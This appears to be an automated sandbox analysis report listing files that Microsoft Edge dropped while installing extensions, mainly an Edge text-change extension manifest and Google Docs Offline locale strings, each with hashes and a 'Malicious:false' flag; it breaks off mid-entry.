                                SHA-256:D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
                                SHA-512:177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
                                Malicious:false
                                Reputation:unknown
                                Preview:(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_1120055579\CRX_INSTALL\manifest.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):962
                                Entropy (8bit):5.698567446030411
                                Encrypted:false
                                SSDEEP:
                                MD5:E805E9E69FD6ECDCA65136957B1FB3BE
                                SHA1:2356F60884130C86A45D4B232A26062C7830E622
                                SHA-256:5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
                                SHA-512:049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/*" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/*" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\128.png

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
                                Category:dropped
                                Size (bytes):4982
                                Entropy (8bit):7.929761711048726
                                Encrypted:false
                                SSDEEP:
                                MD5:913064ADAAA4C4FA2A9D011B66B33183
                                SHA1:99EA751AC2597A080706C690612AEEEE43161FC1
                                SHA-256:AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
                                SHA-512:162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
                                Malicious:false
                                Reputation:unknown
                                Preview:.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb*..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...*T.P.B...*Tx...=.Q..wv.w.....|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......|..}./.....e..,.K.1........W.u.v. ...\.o

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\af\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):908
                                Entropy (8bit):4.512512697156616
                                Encrypted:false
                                SSDEEP:
                                MD5:12403EBCCE3AE8287A9E823C0256D205
                                SHA1:C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
                                SHA-256:B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
                                SHA-512:153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\am\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1285
                                Entropy (8bit):4.702209356847184
                                Encrypted:false
                                SSDEEP:
                                MD5:9721EBCE89EC51EB2BAEB4159E2E4D8C
                                SHA1:58979859B28513608626B563138097DC19236F1F
                                SHA-256:3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
                                SHA-512:FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ar\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1244
                                Entropy (8bit):4.5533961615623735
                                Encrypted:false
                                SSDEEP:
                                MD5:3EC93EA8F8422FDA079F8E5B3F386A73
                                SHA1:24640131CCFB21D9BC3373C0661DA02D50350C15
                                SHA-256:ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
                                SHA-512:F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\az\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):977
                                Entropy (8bit):4.867640976960053
                                Encrypted:false
                                SSDEEP:
                                MD5:9A798FD298008074E59ECC253E2F2933
                                SHA1:1E93DA985E880F3D3350FC94F5CCC498EFC8C813
                                SHA-256:628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
                                SHA-512:9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\be\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):3107
                                Entropy (8bit):3.535189746470889
                                Encrypted:false
                                SSDEEP:
                                MD5:68884DFDA320B85F9FC5244C2DD00568
                                SHA1:FD9C01E03320560CBBB91DC3D1917C96D792A549
                                SHA-256:DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
                                SHA-512:7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\bg\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1389
                                Entropy (8bit):4.561317517930672
                                Encrypted:false
                                SSDEEP:
                                MD5:2E6423F38E148AC5A5A041B1D5989CC0
                                SHA1:88966FFE39510C06CD9F710DFAC8545672FFDCEB
                                SHA-256:AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
                                SHA-512:891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\bn\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1763
                                Entropy (8bit):4.25392954144533
                                Encrypted:false
                                SSDEEP:
                                MD5:651375C6AF22E2BCD228347A45E3C2C9
                                SHA1:109AC3A912326171D77869854D7300385F6E628C
                                SHA-256:1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
                                SHA-512:958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\ca\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):930
                                Entropy (8bit):4.569672473374877
                                Encrypted:false
                                SSDEEP:
                                MD5:D177261FFE5F8AB4B3796D26835F8331
                                SHA1:4BE708E2FFE0F018AC183003B74353AD646C1657
                                SHA-256:D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
                                SHA-512:E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\cs\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):913
                                Entropy (8bit):4.947221919047
                                Encrypted:false
                                SSDEEP:
                                MD5:CCB00C63E4814F7C46B06E4A142F2DE9
                                SHA1:860936B2A500CE09498B07A457E0CCA6B69C5C23
                                SHA-256:21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
                                SHA-512:35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\cy\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):806
                                Entropy (8bit):4.815663786215102
                                Encrypted:false
                                SSDEEP:
                                MD5:A86407C6F20818972B80B9384ACFBBED
                                SHA1:D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
                                SHA-256:A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
                                SHA-512:D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\da\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):883
                                Entropy (8bit):4.5096240460083905
                                Encrypted:false
                                SSDEEP:
                                MD5:B922F7FD0E8CCAC31B411FC26542C5BA
                                SHA1:2D25E153983E311E44A3A348B7D97AF9AAD21A30
                                SHA-256:48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
                                SHA-512:AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\de\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1031
                                Entropy (8bit):4.621865814402898
                                Encrypted:false
                                SSDEEP:
                                MD5:D116453277CC860D196887CEC6432FFE
                                SHA1:0AE00288FDE696795CC62FD36EABC507AB6F4EA4
                                SHA-256:36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
                                SHA-512:C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\el\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1613
                                Entropy (8bit):4.618182455684241
                                Encrypted:false
                                SSDEEP:
                                MD5:9ABA4337C670C6349BA38FDDC27C2106
                                SHA1:1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
                                SHA-256:37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
                                SHA-512:8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\en_CA\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):851
                                Entropy (8bit):4.4858053753176526
                                Encrypted:false
                                SSDEEP:
                                MD5:07FFBE5F24CA348723FF8C6C488ABFB8
                                SHA1:6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
                                SHA-256:6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
                                SHA-512:7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\en_GB\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):848
                                Entropy (8bit):4.494568170878587
                                Encrypted:false
                                SSDEEP:
                                MD5:3734D498FB377CF5E4E2508B8131C0FA
                                SHA1:AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
                                SHA-256:AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
                                SHA-512:56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\en_US\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1425
                                Entropy (8bit):4.461560329690825
                                Encrypted:false
                                SSDEEP:
                                MD5:578215FBB8C12CB7E6CD73FBD16EC994
                                SHA1:9471D71FA6D82CE1863B74E24237AD4FD9477187
                                SHA-256:102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
                                SHA-512:E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\es\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):961
                                Entropy (8bit):4.537633413451255
                                Encrypted:false
                                SSDEEP:
                                MD5:F61916A206AC0E971CDCB63B29E580E3
